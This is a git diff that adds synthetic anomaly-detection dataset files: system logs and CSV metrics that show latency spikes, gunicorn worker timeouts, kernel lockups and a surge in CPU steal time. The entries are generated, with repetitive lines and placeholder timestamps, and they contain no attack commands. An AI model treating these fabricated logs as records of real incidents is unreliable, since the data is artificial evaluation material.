a/anom_dataset/scenario_5/anom_5_23.log b/anom_dataset/scenario_5/anom_5_23.log new file mode 100644 index 0000000000000000000000000000000000000000..fc7cdd4365d41733aae13d7402c0656ceab1fb95 --- /dev/null +++ b/anom_dataset/scenario_5/anom_5_23.log @@ -0,0 +1,41 @@ +Aug 15 10:00:00 kubelet[2345]: INFO routine sync completed for pod web-app +Aug 15 10:00:02 systemd[1]: Started Session 1 of user app-user. +Aug 15 10:00:12 cron[11432]: (root) CMD (/usr/local/bin/backup.sh) +Aug 15 10:00:45 nginx[1123]: GET /api/v1/health HTTP/1.1 200 OK +Aug 15 10:01:00 kubelet[2345]: INFO routine sync completed for pod web-app +Aug 15 10:01:40 kernel: audit: type=1400 apparmor="DENIED" operation="open" +Aug 15 10:02:00 kubelet[2345]: INFO routine sync completed for pod web-app +Aug 15 10:02:35 sshd[10234]: Accepted publickey for app-user from 10.0.2.2 port 55234 +Aug 15 10:03:00 kubelet[2345]: INFO routine sync completed for pod web-app +Aug 15 10:03:20 app-server[5432]: WARN: Request to /api/v1/process task_id=xyz timed out after 5000ms. +Aug 15 10:03:25 app-server[5432]: WARN: Request to /api/v1/process task_id=xyz timed out after 5000ms. +Aug 15 10:03:31 app-server[5432]: ERROR: Upstream service /users failed to respond in time. +Aug 15 10:03:37 app-server[5432]: ERROR: Upstream service /users failed to respond in time. +Aug 15 10:03:44 gunicorn[5431]: INFO: High latency detected for database query on table 'products'. +Aug 15 10:03:46 gunicorn[5431]: INFO: High latency detected for database query on table 'products'. +Aug 15 10:04:00 kubelet[2345]: INFO routine sync completed for pod web-app +Aug 15 10:04:10 app-server[5432]: WARN: Request to /api/v1/process task_id=xyz timed out after 5000ms. +Aug 15 10:04:24 app-server[5432]: ERROR: Upstream service /users failed to respond in time. +Aug 15 10:04:25 app-server[5432]: WARN: Request to /api/v1/process task_id=xyz timed out after 5000ms. +Aug 15 10:04:33 gunicorn[5431]: INFO: High latency detected for database query on table 'products'. +Aug 15 10:04:35 app-server[5432]: WARN: Request to /api/v1/process task_id=xyz timed out after 5000ms. +Aug 15 10:04:39 app-server[5432]: ERROR: Upstream service /users failed to respond in time. +Aug 15 10:04:41 app-server[5432]: ERROR: Upstream service /users failed to respond in time. +Aug 15 10:04:49 gunicorn[5431]: INFO: High latency detected for database query on table 'products'. +Aug 15 10:04:55 app-server[5432]: WARN: Request to /api/v1/process task_id=xyz timed out after 5000ms. +Aug 15 10:04:59 gunicorn[5431]: INFO: High latency detected for database query on table 'products'. +Aug 15 10:05:00 kubelet[2345]: INFO routine sync completed for pod web-app +Aug 15 10:05:08 app-server[5432]: ERROR: Upstream service /users failed to respond in time. +Aug 15 10:05:15 app-server[5432]: WARN: Request to /api/v1/process task_id=xyz timed out after 5000ms. +Aug 15 10:05:19 gunicorn[5431]: INFO: High latency detected for database query on table 'products'. +Aug 15 10:05:20 app-server[5432]: WARN: Request to /api/v1/process task_id=xyz timed out after 5000ms. +Aug 15 10:05:21 app-server[5432]: ERROR: Upstream service /users failed to respond in time. +Aug 15 10:05:26 app-server[5432]: ERROR: Upstream service /users failed to respond in time. +Aug 15 10:05:39 gunicorn[5431]: INFO: High latency detected for database query on table 'products'. +Aug 15 10:05:39 gunicorn[5431]: INFO: High latency detected for database query on table 'products'. +Aug 15 10:06:00 nginx[1123]: GET /api/v1/status HTTP/1.1 200 OK +Aug 15 10:06:00 kubelet[2345]: INFO routine sync completed for pod web-app +Aug 15 10:06:25 systemd[1]: Starting Daily apt upgrade and clean activities... +Aug 15 10:06:50 systemd[1]: Finished Daily apt upgrade and clean activities. +Aug 15 10:07:00 kubelet[2345]: INFO routine sync completed for pod web-app +Aug 15 10:07:10 cron[11432]: (root) CMD (command -v debian-sa1 > /dev/null && debian-sa1 1 1) diff --git a/anom_dataset/scenario_5/anom_5_24.csv b/anom_dataset/scenario_5/anom_5_24.csv new file mode 100644 index 0000000000000000000000000000000000000000..e7c30d5a8141739bb1c17697ee12dd3d92914dfc --- /dev/null +++ b/anom_dataset/scenario_5/anom_5_24.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,cpu_steal_time,mem_usage,disk_io,net_in,net_out +2025-08-25T14:00:00Z,21.69055091823296,0.0,45.06346347818498,23.066529580930172,1.1654888148655504,0.7294621576254721 +2025-08-25T14:00:05Z,28.63391562962711,0.0,38.91315302197572,17.281072155806225,0.6048468646445226,0.7923820204091023 +2025-08-25T14:00:10Z,14.036189363924066,0.0,37.871991982476565,30.70281226022006,1.4906986328184613,0.8226764262054755 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+2025-08-25T14:07:10Z,22.061522777559063,0.0,39.18902392090525,24.05628932052437,1.2153565208726134,1.1488006092827496 +2025-08-25T14:07:15Z,26.290747749337466,0.0,39.662204885858095,31.006478080004303,1.066279478627702,1.3431652665004328 +2025-08-25T14:07:20Z,23.141997694404566,0.0,39.05050423569091,36.996238791299184,0.7237269286571981,1.2006601188853447 +2025-08-25T14:07:25Z,20.433316961515278,0.0,37.38475658842108,23.869788628428374,1.1720580586735998,1.0167623861794906 diff --git a/anom_dataset/scenario_5/anom_5_24.log b/anom_dataset/scenario_5/anom_5_24.log new file mode 100644 index 0000000000000000000000000000000000000000..1ddddf51b2d85023770eb3aec5afc7a800a092a5 --- /dev/null +++ b/anom_dataset/scenario_5/anom_5_24.log @@ -0,0 +1,90 @@ +Aug 25 14:00:03 systemd[1]: Starting Daily apt upgrade and clean activities... +Aug 25 14:00:08 kubelet[2345]: INFO Successfully probed container liveness for pod monitoring-agent +Aug 25 14:00:14 kubelet[2345]: INFO Successfully probed container liveness for pod monitoring-agent +Aug 25 14:00:17 systemd[1]: Started Session 38 of user root. +Aug 25 14:00:20 systemd[1]: Started Session 17 of user root. +Aug 25 14:00:26 systemd[1]: Finished Daily apt upgrade and clean activities. +Aug 25 14:00:34 systemd[1]: Starting Daily apt upgrade and clean activities... +Aug 25 14:00:39 nginx[1123]: GET /healthz HTTP/1.1 200 OK +Aug 25 14:00:40 nginx[1123]: GET /healthz HTTP/1.1 200 OK +Aug 25 14:00:47 systemd[1]: Finished Daily apt upgrade and clean activities. +Aug 25 14:00:51 systemd[1]: Starting Daily apt upgrade and clean activities... +Aug 25 14:00:58 kubelet[2345]: INFO Successfully probed container liveness for pod monitoring-agent +Aug 25 14:01:03 systemd[1]: Finished Daily apt upgrade and clean activities. +Aug 25 14:01:08 systemd[1]: Started Session 91 of user root. +Aug 25 14:01:10 systemd[1]: Starting Daily apt upgrade and clean activities... +Aug 25 14:01:18 nginx[1123]: GET /healthz HTTP/1.1 200 OK +Aug 25 14:01:20 cron[11432]: (root) CMD ( /usr/local/bin/some_script.sh) +Aug 25 14:01:25 systemd[1]: Starting Daily apt upgrade and clean activities... +Aug 25 14:01:32 kubelet[2345]: INFO Successfully probed container liveness for pod monitoring-agent +Aug 25 14:01:35 sshd[23864]: Accepted publickey for user root from 10.0.2.2 port 51234 ssh2 +Aug 25 14:01:43 systemd[1]: Finished Daily apt upgrade and clean activities. +Aug 25 14:01:49 nginx[1123]: GET /healthz HTTP/1.1 200 OK +Aug 25 14:01:51 kubelet[2345]: INFO Successfully probed container liveness for pod monitoring-agent +Aug 25 14:01:55 nginx[1123]: GET /healthz HTTP/1.1 200 OK +Aug 25 14:02:00 kubelet[2345]: INFO Successfully probed container liveness for pod monitoring-agent +Aug 25 14:02:09 systemd[1]: Started Session 53 of user root. +Aug 25 14:02:10 systemd[1]: Started Session 89 of user root. +Aug 25 14:02:16 systemd[1]: Started Session 65 of user root. +Aug 25 14:02:24 systemd[1]: Started Session 27 of user root. +Aug 25 14:02:26 nginx[1123]: GET /healthz HTTP/1.1 200 OK +Aug 25 14:02:34 kubelet[2345]: INFO Successfully probed container liveness for pod monitoring-agent +Aug 25 14:02:36 kernel: [12345.67890] BUG: soft lockup - CPU#3 stuck for 22s! [kworker/0:1H:13804] +Aug 25 14:02:41 webapp[5678]: WARNING High latency detected for database query: 34.14s +Aug 25 14:02:46 webapp[5678]: WARNING High latency detected for database query: 23.41s +Aug 25 14:02:53 systemd[1]: Finished Daily apt upgrade and clean activities. +Aug 25 14:02:59 sshd[20882]: Accepted publickey for user root from 10.0.2.2 port 51234 ssh2 +Aug 25 14:03:03 gunicorn[1234]: [CRITICAL] WORKER TIMEOUT (pid:21333) +Aug 25 14:03:05 webapp[5678]: ERROR Request to payment_service timed out after 30s +Aug 25 14:03:10 webapp[5678]: ERROR Request to payment_service timed out after 30s +Aug 25 14:03:17 nginx[1123]: GET /api/v1/users/list HTTP/1.1 504 Gateway Time-out +Aug 25 14:03:24 webapp[5678]: WARNING High latency detected for database query: 24.43s +Aug 25 14:03:27 gunicorn[1234]: [CRITICAL] WORKER TIMEOUT (pid:23981) +Aug 25 14:03:32 gunicorn[1234]: [CRITICAL] WORKER TIMEOUT (pid:22654) +Aug 25 14:03:35 webapp[5678]: ERROR Request to payment_service timed out after 30s +Aug 25 14:03:42 webapp[5678]: ERROR Request to payment_service timed out after 30s +Aug 25 14:03:48 nginx[1123]: GET /api/v1/users/list HTTP/1.1 504 Gateway Time-out +Aug 25 14:03:53 kernel: [12345.67890] BUG: soft lockup - CPU#3 stuck for 22s! [kworker/0:1H:24946] +Aug 25 14:03:59 gunicorn[1234]: [CRITICAL] WORKER TIMEOUT (pid:10162) +Aug 25 14:04:03 sshd[10734]: Accepted publickey for user root from 10.0.2.2 port 51234 ssh2 +Aug 25 14:04:05 kernel: [12345.67890] BUG: soft lockup - CPU#3 stuck for 22s! [kworker/0:1H:12667] +Aug 25 14:04:10 gunicorn[1234]: [CRITICAL] WORKER TIMEOUT (pid:19673) +Aug 25 14:04:15 systemd[1]: Started Session 37 of user root. +Aug 25 14:04:20 nginx[1123]: GET /api/v1/users/list HTTP/1.1 504 Gateway Time-out +Aug 25 14:04:28 systemd[1]: Finished Daily apt upgrade and clean activities. +Aug 25 14:04:30 kubelet[2345]: INFO Successfully probed container liveness for pod monitoring-agent +Aug 25 14:04:36 webapp[5678]: WARNING High latency detected for database query: 21.74s +Aug 25 14:04:43 nginx[1123]: GET /healthz HTTP/1.1 200 OK +Aug 25 14:04:47 systemd[1]: Starting Daily apt upgrade and clean activities... +Aug 25 14:04:54 nginx[1123]: GET /api/v1/users/list HTTP/1.1 504 Gateway Time-out +Aug 25 14:04:55 gunicorn[1234]: [CRITICAL] WORKER TIMEOUT (pid:24772) +Aug 25 14:05:04 kubelet[2345]: INFO Successfully probed container liveness for pod monitoring-agent +Aug 25 14:05:06 cron[11432]: (root) CMD ( /usr/local/bin/some_script.sh) +Aug 25 14:05:14 systemd[1]: Finished Daily apt upgrade and clean activities. +Aug 25 14:05:16 nginx[1123]: GET /healthz HTTP/1.1 200 OK +Aug 25 14:05:22 nginx[1123]: GET /healthz HTTP/1.1 200 OK +Aug 25 14:05:26 systemd[1]: Started Session 50 of user root. +Aug 25 14:05:34 cron[11432]: (root) CMD ( /usr/local/bin/some_script.sh) +Aug 25 14:05:37 cron[11432]: (root) CMD ( /usr/local/bin/some_script.sh) +Aug 25 14:05:42 systemd[1]: Starting Daily apt upgrade and clean activities... +Aug 25 14:05:49 cron[11432]: (root) CMD ( /usr/local/bin/some_script.sh) +Aug 25 14:05:54 nginx[1123]: GET /healthz HTTP/1.1 200 OK +Aug 25 14:05:59 systemd[1]: Started Session 39 of user root. +Aug 25 14:06:00 systemd[1]: Finished Daily apt upgrade and clean activities. +Aug 25 14:06:07 sshd[16914]: Accepted publickey for user root from 10.0.2.2 port 51234 ssh2 +Aug 25 14:06:12 nginx[1123]: GET /healthz HTTP/1.1 200 OK +Aug 25 14:06:18 systemd[1]: Finished Daily apt upgrade and clean activities. +Aug 25 14:06:24 cron[11432]: (root) CMD ( /usr/local/bin/some_script.sh) +Aug 25 14:06:28 cron[11432]: (root) CMD ( /usr/local/bin/some_script.sh) +Aug 25 14:06:33 systemd[1]: Starting Daily apt upgrade and clean activities... +Aug 25 14:06:36 nginx[1123]: GET /healthz HTTP/1.1 200 OK +Aug 25 14:06:43 systemd[1]: Starting Daily apt upgrade and clean activities... +Aug 25 14:06:49 systemd[1]: Started Session 5 of user root. +Aug 25 14:06:54 systemd[1]: Started Session 24 of user root. +Aug 25 14:06:58 systemd[1]: Finished Daily apt upgrade and clean activities. +Aug 25 14:07:03 kubelet[2345]: INFO Successfully probed container liveness for pod monitoring-agent +Aug 25 14:07:08 systemd[1]: Started Session 19 of user root. +Aug 25 14:07:14 systemd[1]: Started Session 68 of user root. +Aug 25 14:07:18 kubelet[2345]: INFO Successfully probed container liveness for pod monitoring-agent +Aug 25 14:07:22 systemd[1]: Finished Daily apt upgrade and clean activities. +Aug 25 14:07:26 systemd[1]: Starting Daily apt upgrade and clean activities... diff --git a/anom_dataset/scenario_5/anom_5_25.csv b/anom_dataset/scenario_5/anom_5_25.csv new file mode 100644 index 0000000000000000000000000000000000000000..69e500870938b62b9603a4949d78f137745b7123 --- /dev/null +++ b/anom_dataset/scenario_5/anom_5_25.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,steal_time,mem_usage,disk_io,net_in,net_out +2025-08-25T16:00:00Z,19.02,0.5,38.74,29.98,0.53,1.55 +2025-08-25T16:00:05Z,27.47,0.21,36.96,21.57,0.58,1.71 +2025-08-25T16:00:10Z,16.1,0.08,43.33,34.86,0.61,1.22 +2025-08-25T16:00:15Z,27.63,0.15,42.04,21.93,1.08,1.21 +2025-08-25T16:00:20Z,16.08,0.02,36.33,22.46,1.46,1.38 +2025-08-25T16:00:25Z,17.62,0.33,36.88,23.73,1.15,1.17 +2025-08-25T16:00:30Z,29.38,0.18,44.2,21.82,1.5,1.45 +2025-08-25T16:00:35Z,23.39,0.09,39.49,23.31,1.09,0.92 +2025-08-25T16:00:40Z,16.11,0.08,40.89,31.48,0.8,0.87 +2025-08-25T16:00:45Z,27.02,0.28,37.15,25.31,0.65,1.7 +2025-08-25T16:00:50Z,20.74,0.26,36.94,27.64,0.98,0.89 +2025-08-25T16:00:55Z,20.76,0.24,35.57,20.52,0.62,1.62 +2025-08-25T16:01:00Z,16.02,0.3,42.81,28.78,0.94,0.83 +2025-08-25T16:01:05Z,21.21,0.22,36.29,31.24,0.7,1.75 +2025-08-25T16:01:10Z,28.26,0.3,40.38,25.39,0.78,1.19 +2025-08-25T16:01:15Z,28.57,0.45,44.1,30.08,1.18,1.12 +2025-08-25T16:01:20Z,17.55,0.01,40.35,29.19,0.54,1.22 +2025-08-25T16:01:25Z,17.81,0.16,35.79,26.66,1.45,1.19 +2025-08-25T16:01:30Z,23.83,0.11,38.48,29.35,1.44,1.18 +2025-08-25T16:01:35Z,29.73,0.4,42.02,22.95,1.12,1.02 +2025-08-25T16:01:40Z,15.34,0.44,42.22,27.09,0.8,1.45 +2025-08-25T16:01:45Z,16.33,0.44,38.23,23.51,0.6,1.11 +2025-08-25T16:01:50Z,16.69,0.48,42.22,28.28,0.96,1.22 +2025-08-25T16:01:55Z,23.3,0.11,35.15,22.67,1.19,1.31 +2025-08-25T16:02:00Z,26.56,0.34,39.4,26.58,0.97,1.8 +2025-08-25T16:02:05Z,24.43,0.37,42.48,29.16,1.43,0.93 +2025-08-25T16:02:10Z,24.54,0.29,35.54,22.09,1.3,1.21 +2025-08-25T16:02:15Z,15.36,0.33,35.61,24.57,0.86,0.83 +2025-08-25T16:02:20Z,18.41,0.39,36.97,21.56,1.35,0.71 +2025-08-25T16:02:25Z,27.67,0.0,37.53,33.35,0.67,0.84 +2025-08-25T16:02:30Z,23.96,26.39,36.89,32.62,0.76,1.38 +2025-08-25T16:02:35Z,20.39,15.0,41.94,28.79,1.25,1.55 +2025-08-25T16:02:40Z,26.75,23.38,39.17,32.33,0.63,1.45 +2025-08-25T16:02:45Z,20.49,25.28,44.63,20.9,0.96,1.11 +2025-08-25T16:02:50Z,15.37,20.96,43.24,31.75,1.35,1.18 +2025-08-25T16:02:55Z,15.55,17.95,38.34,22.7,0.91,1.75 +2025-08-25T16:03:00Z,21.15,16.73,38.58,31.58,1.31,1.33 +2025-08-25T16:03:05Z,23.48,21.34,38.44,22.12,0.84,1.69 +2025-08-25T16:03:10Z,19.63,24.76,44.91,28.26,0.88,0.79 +2025-08-25T16:03:15Z,22.62,20.3,39.0,25.85,0.6,1.77 +2025-08-25T16:03:20Z,28.84,26.92,43.96,21.29,1.43,1.16 +2025-08-25T16:03:25Z,29.2,20.69,44.49,28.4,0.89,1.77 +2025-08-25T16:03:30Z,18.02,25.95,44.12,34.96,1.29,1.08 +2025-08-25T16:03:35Z,16.08,28.02,44.54,30.3,1.22,1.53 +2025-08-25T16:03:40Z,26.28,21.88,36.19,24.41,0.56,0.89 +2025-08-25T16:03:45Z,22.1,22.1,43.31,29.05,1.01,1.57 +2025-08-25T16:03:50Z,15.5,21.94,41.75,29.64,0.59,1.04 +2025-08-25T16:03:55Z,29.64,17.56,41.35,28.36,0.76,0.92 +2025-08-25T16:04:00Z,26.02,18.0,35.73,26.18,0.98,1.57 +2025-08-25T16:04:05Z,18.64,22.85,41.62,26.09,1.18,1.04 +2025-08-25T16:04:10Z,25.92,29.56,42.95,33.86,0.96,0.74 +2025-08-25T16:04:15Z,19.61,24.98,43.85,34.91,1.48,1.55 +2025-08-25T16:04:20Z,22.13,24.08,39.73,29.88,0.75,1.74 +2025-08-25T16:04:25Z,23.61,17.22,39.12,34.49,1.03,0.87 +2025-08-25T16:04:30Z,21.78,24.36,36.02,32.98,1.04,1.41 +2025-08-25T16:04:35Z,18.03,27.94,35.26,25.24,0.52,1.0 +2025-08-25T16:04:40Z,20.23,16.62,40.21,33.75,0.74,1.27 +2025-08-25T16:04:45Z,23.9,15.16,41.52,34.36,1.15,1.24 +2025-08-25T16:04:50Z,27.17,20.77,41.27,27.38,0.63,1.29 +2025-08-25T16:04:55Z,16.21,28.07,36.67,20.18,1.24,1.45 +2025-08-25T16:05:00Z,23.65,22.28,39.24,20.44,0.75,1.32 +2025-08-25T16:05:05Z,27.78,0.22,36.58,25.95,1.27,1.07 +2025-08-25T16:05:10Z,20.02,0.19,41.08,25.19,0.78,1.48 +2025-08-25T16:05:15Z,20.84,0.5,36.19,31.36,0.53,1.19 +2025-08-25T16:05:20Z,23.64,0.25,39.62,34.11,0.97,1.06 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+2025-08-25T16:06:55Z,16.55,0.48,38.14,23.35,1.1,1.53 +2025-08-25T16:07:00Z,28.0,0.36,38.5,32.21,1.28,1.35 +2025-08-25T16:07:05Z,22.02,0.37,41.44,34.67,0.85,1.58 +2025-08-25T16:07:10Z,20.84,0.2,40.39,30.73,0.91,1.09 +2025-08-25T16:07:15Z,24.41,0.15,42.86,28.49,1.08,1.12 +2025-08-25T16:07:20Z,22.27,0.13,43.33,23.36,0.96,1.73 +2025-08-25T16:07:25Z,21.39,0.14,37.55,30.08,0.79,1.13 diff --git a/anom_dataset/scenario_5/anom_5_25.log b/anom_dataset/scenario_5/anom_5_25.log new file mode 100644 index 0000000000000000000000000000000000000000..5aec17117069980f7d9f18819d87d38d9dd6996e --- /dev/null +++ b/anom_dataset/scenario_5/anom_5_25.log @@ -0,0 +1,63 @@ +Aug 25 16:00:00 app-server[11928]: INFO Request processed successfully in 5137ms +Aug 25 16:00:05 sshd[23143]: Accepted publickey for user admin from 10.0.1.15 port 54321 ssh2 +Aug 25 16:00:13 systemd[1]: Started Session 41 of user admin. +Aug 25 16:00:21 app-server[12609]: INFO Request processed successfully in 4354ms +Aug 25 16:00:33 systemd[1]: Started Session 77 of user admin. +Aug 25 16:00:45 sshd[10653]: Accepted publickey for user admin from 10.0.1.15 port 54321 ssh2 +Aug 25 16:00:54 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-pod +Aug 25 16:01:05 cron[24690]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 25 16:01:23 systemd[1]: Started Session 49 of user admin. +Aug 25 16:01:28 cron[11668]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 25 16:01:38 sshd[18957]: Accepted publickey for user admin from 10.0.1.15 port 54321 ssh2 +Aug 25 16:01:51 kernel: [TIMESTAMP] usb 1-1: new high-speed USB device number 6 using xhci_hcd +Aug 25 16:01:56 app-server[13777]: INFO User 'testuser' logged in successfully +Aug 25 16:02:15 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-pod +Aug 25 16:02:21 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-pod +Aug 25 16:02:26 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-pod +Aug 25 16:02:29 app-server[2935]: INFO User 'testuser' logged in successfully +Aug 25 16:02:36 nginx[1123]: GET /api/v1/health HTTP/1.1 200 OK +Aug 25 16:02:40 app-server[3672]: WARN Unexplained performance degradation, processing took 4030ms +Aug 25 16:02:43 app-server[8186]: WARN Request to downstream service 'database-svc' timed out after 5000ms +Aug 25 16:02:50 kernel: [TIMESTAMP] usb 1-1: new high-speed USB device number 6 using xhci_hcd +Aug 25 16:02:56 app-server[15539]: WARN Request to downstream service 'database-svc' timed out after 5000ms +Aug 25 16:03:01 app-server[18415]: WARN High latency detected for endpoint /api/v1/data: 4016ms +Aug 25 16:03:03 app-server[12762]: INFO Request processed successfully in 7891ms +Aug 25 16:03:09 app-server[8993]: WARN High latency detected for endpoint /api/v1/data: 4152ms +Aug 25 16:03:15 app-server[19909]: WARN Request to downstream service 'database-svc' timed out after 5000ms +Aug 25 16:03:19 app-server[19383]: WARN High latency detected for endpoint /api/v1/data: 6850ms +Aug 25 16:03:23 systemd[1]: Started Session 97 of user admin. +Aug 25 16:03:31 app-server[20606]: INFO User 'testuser' logged in successfully +Aug 25 16:03:33 app-server[2135]: WARN High latency detected for endpoint /api/v1/data: 7517ms +Aug 25 16:03:41 kernel: [TIMESTAMP] NMI watchdog: Watchdog detected hard LOCKUP on cpu 1 +Aug 25 16:03:43 cron[11201]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 25 16:03:49 app-server[21735]: INFO Request processed successfully in 7002ms +Aug 25 16:03:53 app-server[9994]: WARN High latency detected for endpoint /api/v1/data: 6848ms +Aug 25 16:04:00 nginx[1123]: GET /api/v1/data HTTP/1.1 504 Gateway Timeout +Aug 25 16:04:06 app-server[19920]: ERROR Failed to process request: database connection timeout +Aug 25 16:04:08 app-server[2467]: WARN Request to downstream service 'database-svc' timed out after 5000ms +Aug 25 16:04:16 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-pod +Aug 25 16:04:19 sshd[23676]: Accepted publickey for user admin from 10.0.1.15 port 54321 ssh2 +Aug 25 16:04:26 app-server[23579]: WARN High latency detected for endpoint /api/v1/data: 7586ms +Aug 25 16:04:31 app-server[23415]: INFO Request processed successfully in 4923ms +Aug 25 16:04:34 systemd[1]: Started Session 11 of user admin. +Aug 25 16:04:40 app-server[22548]: ERROR Failed to process request: database connection timeout +Aug 25 16:04:44 app-server[8490]: INFO User 'testuser' logged in successfully +Aug 25 16:04:50 app-server[12335]: WARN High latency detected for endpoint /api/v1/data: 7418ms +Aug 25 16:04:54 kernel: [TIMESTAMP] usb 1-1: new high-speed USB device number 6 using xhci_hcd +Aug 25 16:05:01 kernel: [TIMESTAMP] NMI watchdog: Watchdog detected hard LOCKUP on cpu 1 +Aug 25 16:05:03 kernel: [TIMESTAMP] usb 1-1: new high-speed USB device number 6 using xhci_hcd +Aug 25 16:05:09 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-pod +Aug 25 16:05:13 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-pod +Aug 25 16:05:20 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-pod +Aug 25 16:05:33 nginx[1123]: GET /api/v1/health HTTP/1.1 200 OK +Aug 25 16:05:53 sshd[28107]: Accepted publickey for user admin from 10.0.1.15 port 54321 ssh2 +Aug 25 16:06:19 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-pod +Aug 25 16:06:31 app-server[9063]: INFO Request processed successfully in 7688ms +Aug 25 16:06:36 kernel: [TIMESTAMP] usb 1-1: new high-speed USB device number 6 using xhci_hcd +Aug 25 16:06:44 sshd[15045]: Accepted publickey for user admin from 10.0.1.15 port 54321 ssh2 +Aug 25 16:06:50 app-server[29259]: INFO Request processed successfully in 3160ms +Aug 25 16:07:01 systemd[1]: Started Session 23 of user admin. +Aug 25 16:07:03 systemd[1]: Started Session 38 of user admin. +Aug 25 16:07:08 systemd[1]: Started Session 94 of user admin. +Aug 25 16:07:14 systemd[1]: Started Session 98 of user admin. +Aug 25 16:07:25 app-server[5563]: INFO Request processed successfully in 6088ms diff --git a/anom_dataset/scenario_5/anom_5_26.csv b/anom_dataset/scenario_5/anom_5_26.csv new file mode 100644 index 0000000000000000000000000000000000000000..72791540bbdae73abe991341a8fa7a46ed5c5e42 --- /dev/null +++ b/anom_dataset/scenario_5/anom_5_26.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out,cpu_steal_time +2025-07-15T14:30:00Z,20.62,41.2,21.82,1.31,1.27,0.41 +2025-07-15T14:30:05Z,29.26,47.13,17.27,1.31,1.57,0.32 +2025-07-15T14:30:10Z,25.98,47.61,33.49,1.37,1.35,0.27 +2025-07-15T14:30:15Z,23.98,45.61,32.55,1.41,1.45,0.46 +2025-07-15T14:30:20Z,17.34,47.71,20.16,1.01,1.93,0.14 +2025-07-15T14:30:25Z,17.34,44.94,28.2,1.0,1.26,0.3 +2025-07-15T14:30:30Z,15.87,45.23,31.34,1.3,1.95,0.1 +2025-07-15T14:30:35Z,27.99,44.28,26.1,1.15,1.89,0.29 +2025-07-15T14:30:40Z,24.02,40.25,25.59,1.2,1.03,0.12 +2025-07-15T14:30:45Z,25.62,41.08,19.84,1.3,0.88,0.15 +2025-07-15T14:30:50Z,15.31,40.31,16.86,1.39,0.92,0.15 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+2025-07-15T14:32:25Z,15.7,45.39,18.22,0.59,1.77,1.78 +2025-07-15T14:32:30Z,26.97,48.07,25.97,0.55,1.99,24.31 +2025-07-15T14:32:35Z,30.28,48.96,28.84,1.03,1.3,19.09 +2025-07-15T14:32:40Z,35.67,43.18,28.04,1.04,1.25,13.43 +2025-07-15T14:32:45Z,27.93,41.1,19.49,1.14,1.73,20.08 +2025-07-15T14:32:50Z,32.44,42.28,29.24,1.23,1.21,19.27 +2025-07-15T14:32:55Z,37.25,44.27,19.74,1.48,1.92,15.37 +2025-07-15T14:33:00Z,38.99,48.18,21.51,1.02,1.83,11.7 +2025-07-15T14:33:05Z,22.94,48.61,29.93,0.82,1.31,20.07 +2025-07-15T14:33:10Z,38.53,40.07,27.99,1.3,1.7,17.8 +2025-07-15T14:33:15Z,29.84,45.11,31.98,0.77,1.71,21.58 +2025-07-15T14:33:20Z,25.16,44.17,28.15,0.94,0.92,17.8 +2025-07-15T14:33:25Z,29.18,42.22,26.37,0.58,1.88,22.78 +2025-07-15T14:33:30Z,39.6,41.2,16.87,0.53,1.41,18.28 +2025-07-15T14:33:35Z,29.85,43.38,22.35,1.46,1.79,18.41 +2025-07-15T14:33:40Z,26.58,49.43,20.3,1.34,1.18,23.15 +2025-07-15T14:33:45Z,32.67,43.23,19.88,1.2,1.87,16.05 +2025-07-15T14:33:50Z,24.8,45.19,34.46,0.91,1.27,12.01 +2025-07-15T14:33:55Z,21.52,47.03,22.86,0.67,0.81,10.43 +2025-07-15T14:34:00Z,22.58,43.64,32.84,0.66,1.89,21.33 +2025-07-15T14:34:05Z,22.56,49.72,27.62,0.75,0.91,19.3 +2025-07-15T14:34:10Z,23.04,49.62,30.9,1.05,1.18,20.56 +2025-07-15T14:34:15Z,22.78,42.52,25.05,1.21,1.94,13.19 +2025-07-15T14:34:20Z,32.82,44.97,26.54,1.16,1.94,12.05 +2025-07-15T14:34:25Z,23.64,43.01,24.85,0.78,1.49,10.22 +2025-07-15T14:34:30Z,26.91,42.85,18.9,1.45,1.56,15.26 +2025-07-15T14:34:35Z,28.83,40.37,29.45,1.24,1.34,1.87 +2025-07-15T14:34:40Z,16.33,46.1,20.62,1.05,1.15,2.81 +2025-07-15T14:34:45Z,17.94,45.03,15.49,1.11,1.19,0.43 +2025-07-15T14:34:50Z,15.68,40.51,27.91,0.92,1.61,0.48 +2025-07-15T14:34:55Z,19.88,42.79,18.54,0.75,1.7,0.39 +2025-07-15T14:35:00Z,20.83,49.08,33.81,0.86,1.75,0.35 +2025-07-15T14:35:05Z,19.07,42.4,34.08,1.26,1.75,0.27 +2025-07-15T14:35:10Z,27.43,41.45,33.3,0.51,0.91,0.47 +2025-07-15T14:35:15Z,20.35,44.89,22.4,0.62,1.39,0.45 +2025-07-15T14:35:20Z,19.21,49.86,15.31,0.55,0.87,0.12 +2025-07-15T14:35:25Z,23.14,42.42,33.57,0.54,1.46,0.11 +2025-07-15T14:35:30Z,17.11,46.72,23.56,1.36,1.33,0.25 +2025-07-15T14:35:35Z,27.03,47.62,34.33,1.2,1.87,0.42 +2025-07-15T14:35:40Z,16.12,42.38,34.27,0.97,1.22,0.49 +2025-07-15T14:35:45Z,29.8,47.28,32.06,0.6,0.94,0.16 +2025-07-15T14:35:50Z,26.58,43.68,20.89,0.99,0.97,0.34 +2025-07-15T14:35:55Z,17.98,46.32,22.7,0.97,1.71,0.25 +2025-07-15T14:36:00Z,15.08,46.34,32.02,0.67,1.54,0.49 +2025-07-15T14:36:05Z,27.23,45.36,21.34,0.93,0.92,0.44 +2025-07-15T14:36:10Z,25.6,40.9,18.39,0.9,0.9,0.44 +2025-07-15T14:36:15Z,25.94,48.35,26.14,1.12,1.64,0.29 +2025-07-15T14:36:20Z,26.57,43.21,33.72,1.14,0.89,0.27 +2025-07-15T14:36:25Z,16.11,41.87,28.92,0.55,1.79,0.21 +2025-07-15T14:36:30Z,20.38,40.41,26.4,0.87,1.65,0.12 